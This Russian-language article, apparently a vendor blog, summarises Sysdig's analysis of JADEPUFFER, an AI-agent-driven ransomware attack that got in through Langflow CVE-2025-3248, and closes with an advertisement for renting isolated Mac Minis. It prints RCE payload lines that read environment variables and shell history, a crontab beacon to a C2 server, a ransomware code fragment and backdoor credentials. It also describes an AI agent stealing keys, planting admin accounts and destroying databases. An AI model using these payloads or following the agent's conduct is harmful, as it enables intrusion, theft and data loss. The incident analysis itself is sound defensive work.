Форензика Sysdig · CVE-2025-3248 · 600+ payload · доказательства ATA · чеклист изоляции Mac Mini M4
Кратко: 1 июля 2026 Threat Research Sysdig (Michael Clark) опубликовал первый задокументированный случай end-to-end ransomware, управляемого LLM, под кодовым именем JADEPUFFER — Agentic Threat Actor (ATA), чья способность реализуется ИИ-агентом, а не классическим набором инструментов оператора. Точка входа: публично доступный Langflow через CVE-2025-3248. Реальная цель: отдельный публичный сервер MySQL + Alibaba Nacos. Захвачено более 600 целенаправленных payload. В статье — полная хронология, анализ уязвимости, двухфазная цепочка атаки, четыре линии доказательств автономности, загадка Bitcoin-адреса, IOC, рекомендации Sysdig, реакция индустрии, четыре вывода — и почему развёртывание OpenClaw/Langflow на изолированном арендованном Mac Mini M4 безопаснее, чем выставлять собственный оркестратор в интернет.
| Поле | Детали |
|---|---|
| Обнаружил | Sysdig TRT; отчёт Michael Clark |
| Опубликовано | 1 июля 2026 (медиа — 2–6 июля) |
| Кодовое имя | JADEPUFFER |
| Классификация | ATA — атака, доставленная ИИ-агентом |
| Точка входа | Публичный Langflow (CVE-2025-3248) |
| Цель | Публичный продакшен-сервер MySQL + Nacos |
| Масштаб | 600+ уникальных payload |
Хосты AI-оркестрации часто хранят API-ключи LLM в переменных окружения — первое, что сканировал JADEPUFFER.
Команды спешат вывести прототипы в сеть с Langflow/OpenClaw Gateway без контроля доступа.
CVE-2025-3248 в каталоге CISA KEV с мая 2025; агенты делают эксплуатацию старых багов почти бесплатной.
LLMjacking: украденные облачные/модельные учётные данные позволяют гонять агентов с почти нулевой маржинальной стоимостью.
| Когда | Событие |
|---|---|
| Апр 2025 | Раскрытие CVE-2025-3248 (неаутентифицированный RCE в Langflow) |
| 5 мая 2025 | Добавление в каталог CISA KEV |
| 2025 | Та же уязвимость — ботнет Flodrix (отдельная кампания, Trend Micro) |
| Июн 2026 | Атака JADEPUFFER в нескольких сессиях на протяжении недель |
| 1 июл 2026 | Полный технический отчёт Sysdig |
| 2–6 июл 2026 | Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs |
| Параметр | Детали |
|---|---|
| Компонент | Langflow — open-source визуальный фреймворк AI-агентов, 70k+ звёзд на GitHub |
| Типы слабостей | CWE-94 (инъекция кода) + CWE-306 (отсутствие аутентификации на критической функции) |
| CVSS | 9,8 Critical, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронуты | Все версии Langflow до 1.3.0 |
| Расположение | Эндпоинт /api/v1/validate/code |
| Исправлено в | 1.3.0 (добавлена аутентификация) |
| EPSS | 91,42% вероятность эксплуатации (SentinelOne) |
Корневая причина в пяти шагах:
Langflow предоставляет API «проверки кода», чтобы пользователи могли синтаксически проверять кастомные function-узлы в визуальном редакторе.
Путь выполнения: код пользователя → ast.parse() → compile() → exec().
Критический изъян: нет аутентификации и нет изоляции песочницы.
Трюк эксплуатации: в Python декораторы и аргументы по умолчанию вычисляются при определении функции; атакующие встраивают вредоносный код в defaults или декораторы — как только Langflow «валидирует», код уже выполнен.
Атакующему не нужен логин и привилегии — достаточно crafted HTTP POST для RCE.
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')Важное различие: доставка ботнета Flodrix и JADEPUFFER — две независимые кампании, использующие одну и ту же точку входа CVE. Flodrix — традиционная скриптовая доставка; JADEPUFFER — случай ransomware, «управляемого ИИ-агентом», по классификации Sysdig.
Патч (1.3.0): post_validate_code получает dependency injection _current_user: CurrentActiveUser; FastAPI сначала проверяет JWT Bearer Token или x-api-key — при ошибке 401/403, запрос не доходит до уязвимой логики.
Sysdig отмечает: Langflow — привлекательная точка входа, потому что в переменных окружения часто лежат API-ключи LLM и облачные учётные данные; многие команды спешат вывести прототипы в сеть без сетевого контроля доступа.
Все payload приходили как Base64-кодированный Python через RCE-эндпоинт Langflow.
Выполнялись id, uname -a, hostname, затем параллельно сканировались API-ключи OpenAI / Anthropic / DeepSeek / Gemini; ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_ плюс AWS/GCP/Azure; криптокошельки и seed-фразы; учётные данные БД и конфигурационные файлы.
Экспортировался собственный PostgreSQL-бэкенд Langflow, похищались сохранённые учётные данные, API-ключи и записи пользователей, данные временно размещались локально для анализа, затем staging-файлы удалялись.
Сканировалось внутреннее адресное пространство и именованные сервисы, зондировались БД, object storage, хранилища секретов и service-discovery эндпоинты с дефолтными учётными данными.
Зондировались minio.internal:9000 и 127.0.0.1:9000 с дефолтом minioadmin:minioadmin, перечислялись бакеты, включая terraform-state, затем целился credentials.json. Адаптивная детализация: первый запрос использовал ?format=json, но получил XML — следующий payload сразу переключился на XML-парсер. Классический цикл probe-error-adapt.
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"Реальной целью был другой также публично доступный сервер с MySQL и Alibaba Nacos. У Nacos есть история обхода аутентификации (CVE-2021-29441 и варианты), а дефолтный JWT signing secret документирован публично с 2020 года — многие развёртывания его так и не меняли.
Агент подключился к открытому порту MySQL с учётными данными root — источник неясен; Sysdig не наблюдал их кражу из среды жертвы, что указывает на одну из немногих возможных заранее подготовленных человеком операций.
| Время (UTC) | Действие |
|---|---|
| 19:34:24 | Сгенерирован bcrypt-хеш, вставлен xadmin с ролью admin |
| 19:34:36 | Попытка входа xadmin:Xploit@2026# — неудача |
| 19:34:48 | Через 12 секунд: параллельный тест дефолтов nacos:nacos и регенерация упрощённого хеша пароля |
| 19:35:07 | Отказ от subprocess.run, использован import bcrypt, удалены сломанные записи и пересборка |
| 19:35:18 | Вход успешен — всего 31 секунда |
Через MySQL INTO OUTFILE / LOAD_FILE тестировались запись/чтение, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname и пути эскалации через UDF. Перед ransomware записывался «маркер завершения» — Sysdig считает, что это похоже на сигнал агента о завершении этапа, а не фиксированное поведение скрипта.
Зашифрованы все 1 342 конфигурации сервисов Nacos через MySQL AES_ENCRYPT(), удалены оригинальные config_info и his_config_info, создана таблица выкупа README_RANSOM.
KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY) # выведен один раз, нигде не сохранён и не эксфильтрирован
# CREATE config_info_enc → DROP config_info → CREATE README_RANSOM
# Bitcoin: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
# Contact: e78393397[@]proton[.]meКлючевая деталь: записка утверждает AES-256, но MySQL AES_ENCRYPT() по умолчанию использует AES-128-ECB; ключ был случайным, выведен только в stdout, нигде не сохранён и не передан — восстановление невозможно даже при оплате выкупа. Через две минуты следующий payload уточнил счётчик: «все 1 342 элемента зашифрованы».
Эскалация до DROP DATABASE с комментариями в коде о «высоко-ROI базах, скопированных на 64.20.53[.]230» — Sysdig не нашёл независимых доказательств эксфильтрации. Один DROP DATABASE молча провалился из-за foreign-key constraints; следующий payload добавил SET GLOBAL FOREIGN_KEY_CHECKS=0 — исправление требует понимания почему провалилось, а не слепых повторов.
Самоописывающийся код: payload наполнены комментариями на естественном языке, объясняющими почему каждый шаг — включая порядок по ROI и «какая база крупнее». Эти комментарии изначально присутствуют в коде атакующего, а не реконструированы исследователями постфактум.
Машинная скорость диагностики сбоев: исправление бэкдора Nacos за 31 секунду — самый яркий пример; адаптация MinIO XML/JSON и отказ от заблокированных JWT-путей повторяют паттерн.
Понимание контекста на естественном языке: парсился свободный текст в целевой среде и выполнялись действия, осмысленные только при реальном понимании текста — повторялось в сессиях с интервалом в недели.
Загадка Bitcoin-адреса (следующий раздел) — две интерпретации неразличимы, иллюстрируя новую неопределённость атрибуции в агентных атаках.
В сочетании с 600+ согласованными payload в сжатом окне Sysdig оценивает доказательства как указывающие на автономно работающего агента, а не на человека-оператора или фиксированный набор инструментов.
Bitcoin-адрес выкупа 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy — это стандартный пример формата P2SH, повторяющийся в документации разработчиков Bitcoin и репозитории Bitcoin Core — также обилен в обучающих корпусах LLM.
Данные on-chain: 737 подтверждённых транзакций, исторически получено ~46 BTC, текущий баланс нулевой (каждый депозит сразу переводился дальше).
Две неразличимые трактовки Sysdig: (а) LLM «галлюцинировал» адрес из обучающих данных, и кошелёк принадлежит третьей стороне, которая забирает ошибочные депозиты; (б) атакующий настроил реальный кошелёк, случайно совпавший с примером из документации. Без system prompt JADEPUFFER обе версии остаются возможными.
| Тип | Индикатор |
|---|---|
| C2 / маяк | 45.131.66[.]106; crontab-маяк hxxp://45.131.66[.]106:4444/beacon |
| Staging / эксфиль (не подтверждено) | 64.20.53[.]230 (InterServer, AS19318) |
| Точка входа CVE | CVE-2025-3248 |
| Bitcoin выкупа | 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy |
| Email выкупа | e78393397[@]proton[.]me (нет совпадений в threat-intel; формат не похож на известные MySQL-ransomware банды) |
| Таблица выкупа | README_RANSOM (нет совпадений с WARNING, RECOVER_YOUR_DATA и т.д.) |
| Персистентность | crontab-маяк на C2 порт 4444 каждые 30 минут |
Sysdig отмечает: email и имя таблицы выглядят как в классическом человеческом ransomware, но не имеют известных прецедентов — что дополнительно поддерживает версию о новой агентной операции.
Обновить Langflow выше CVE-2025-3248; никогда не выставлять эндпоинты выполнения/валидации кода в публичный интернет.
Использовать runtime threat detection для обнаружения вредоносного поведения внутри процессов БД.
Не хранить API-ключи LLM и облачные учётные данные в переменных окружения хоста AI-оркестрации — использовать выделенное управление секретами, изолированное от интернет-процессов.
Укрепить Nacos: сменить дефолтный token.secret.key, обновиться до версий с обязательными кастомными секретами; никогда не выставлять Nacos публично; не подключать бэкенд-БД как root.
Не выставлять админ-аккаунты БД публично; применять сильные уникальные учётные данные и ограничения по source-IP на админ-портах.
Применять контроль исходящего трафика (egress), чтобы скомпрометированные хосты не могли свободно слать маяки и достигать внешних staging-серверов.
Мониторить IOC выше; следить за crontab-задачами, вызывающими внешние URL, и аномальными User-Agent в скобках.
BleepingComputer, Dark Reading, CyberScoop, Security Affairs и другие быстро подхватили тему, широко называя это «первой полностью ИИ-управляемой ransomware-атакой» и отмечая наступление эры ATA.
«Я бы описал это как эволюцию исполнения, а не принципиально новую технику ransomware. Разница в том, что ИИ-агент может связать разведку, кражу учётных данных и развёртывание без ожидания человека-оператора». — независимый исследователь Vibhum Dubey (CSO Online)
Dubey добавляет: главная тревога — не финальный этап шифрования, а тихий период до него — агент картографирует системы идентификации, разрешения и цепочки доверия, уклоняясь от обнаружения; заблокированные пути вызывают быструю смену тактик, поэтому каждая интрузия может выглядеть немного иначе.
Несколько изданий связали это с LLMjacking: агенты на украденных учётных данных делают сложные многоэтапные атаки почти с нулевой маржинальной стоимостью.
Ransomware больше не «ремесло опытного оператора»: LLM-агент может связать разведку, кражу, латеральное перемещение, персистентность и уничтожение без глубокой экспертизы оператора.
Старые баги автоматизируются: нижестоящие цели попали под Nacos-проблемы 2021 года и несменённые дефолтные секреты; агенты делают массовую эксплуатацию исторических CVE почти бесплатной.
Намерения стали читаемы — возможность для защитников: LLM описывают цели внутри payload, предлагая новую точку обнаружения и анализа.
«Скопировано в бэкап» было саморазговором агента: ключи шифрования были эфемерными и невосстановимыми — оплата не вернёт конфигурации.
Отчёт завершается: ни одна отдельная техника не нова; важно, что ИИ-модель связала их в полную ransom-операцию против заброшенной публичной инфраструктуры. Планка навыков теперь — «стоимость запуска агента».
Жертвы JADEPUFFER подходят под чёткий профиль: Langflow публично доступен, API-ключи в переменных окружения, продакшен MySQL/Nacos тоже открыт. Для разработчиков, запускающих OpenClaw, Langflow или Hermes Agent на macOS, выбор «купить Mac mini и повесить на публичный IP» vs «арендовать изолированный удалённый Mac» требует переоценки — особенно после повышения цен Apple в июне 2026 (см. наш гайд Mac Mini M4: аренда vs покупка).
| Измерение | Свой Mac на публичном IP | Изолированный Mac Mini M4 VNCMac |
|---|---|---|
| Стартовые затраты | 799 $+ после повышения + AppleCare/электричество/публичный IP | ~8–15 $/день или ~85–125 $/мес, остановка в любой момент |
| Поверхность атаки | Легко ошибочно открыть Gateway/validate-эндпоинты | Доступ SSH/VNC; не предназначен для «голых» публичных Agent-консолей |
| Хранение API-ключей | Часто в .env / env vars (цель фазы 1 JADEPUFFER) | SecretRef / vault; смена узла по завершении проекта |
| GUI-верификация | Только локально | VNC для диалогов одобрения OpenClaw, консоли Gateway, macOS privacy (см. одобрения VNC OpenClaw) |
| Контроль egress | Строить политику самостоятельно | Опции SSH-туннеля; снижение слепых публичных маяков |
| Реагирование на инцидент | Основная машина заражена, большой радиус утечки секретов | Остановка аренды / смена узла; изоляция от ежедневного Windows-хоста |
Подготовить изолированный узел: выбрать тариф Mac Mini M4; не маппить OpenClaw Gateway (18789) или Langflow validate-эндпоинты напрямую в публичный интернет — при необходимости внешнего доступа использовать Nginx/Caddy reverse proxy + HTTPS.
Патчить: Langflow ≥ 1.3.0; сменить JWT Nacos; root-БД недоступна из интернета.
Ключи вне env vars: API-ключи LLM в secret manager или OpenClaw SecretRef, изолированные от процессов с возможностью RCE.
Графическая верификация по VNC: проверить консоль Gateway, одобрения плагинов (/approve), Screen Recording/Accessibility macOS — шаги, которые SSH не завершит, требуют VNC.
Egress и мониторинг IOC: ограничить исходящие маяки; следить за внешними вызовами в crontab и IOC README_RANSOM; экспортировать бэкап и остановить аренду по завершении.
Нет. Обе кампании эксплуатируют CVE-2025-3248, но Flodrix — традиционная скриптовая доставка ботнета; JADEPUFFER — случай ransomware, управляемого ИИ-агентом, по Sysdig.
Нет. Ключи были случайными uuid4(), выведены один раз в stdout, нигде не сохранены — атакующий, вероятно, тоже не может расшифровать. Данные потеряны безвозвратно.
Та же логика риска: публичное размещение + секреты в env vars + неукреплённые зависимости. Патчить, ограничить egress, развёртывать на изолированном удалённом Mac с VNC-верификацией — не оставлять Gateway «голым» в интернете.
Sysdig и несколько изданий ожидают рост объёма и охвата по мере созревания агентных инструментов; публичные app-серверы, неукреплённые config-центры и публичные админ-аккаунты БД будут первыми целями.
OpenClaw / Claude Code требуют графических разрешений macOS и QR-паринг, которые headless Linux не обеспечивает; аренда физического Mac + VNC запускает полный workflow в изоляции без покупки железа после повышения цен.
Sysdig «JADEPUFFER: Agentic ransomware for automated database extortion»; BleepingComputer; Dark Reading; CyberScoop; CSO Online (Vibhum Dubey); Security Affairs; Trend Micro (CVE-2025-3248 / Flodrix); NVD / SentinelOne / Zscaler; каталог CISA KEV.
JADEPUFFER — сигнал тревоги: ИИ-агенты опустили планку с «опытного человека-оператора» до «стоимости запуска модели», а жертвы — это часто уже заброшенная публичная инфраструктура. Для OpenClaw, Langflow или локальной агентной работы на macOS self-hosting на домашнем публичном IP умножает риски утечки ключей, отставания патчей и egress в эру ATA.
Аренда изолированного узла Mac Mini M4 VNCMac, верификация Gateway и системных разрешений по VNC, хранение ключей вне переменных окружения и остановка аренды по завершении — безопаснее, чем выставлять оркестратор на жилой публичный IP. См. тарифы Mac Mini M4 и справку SSH-VNC для старта.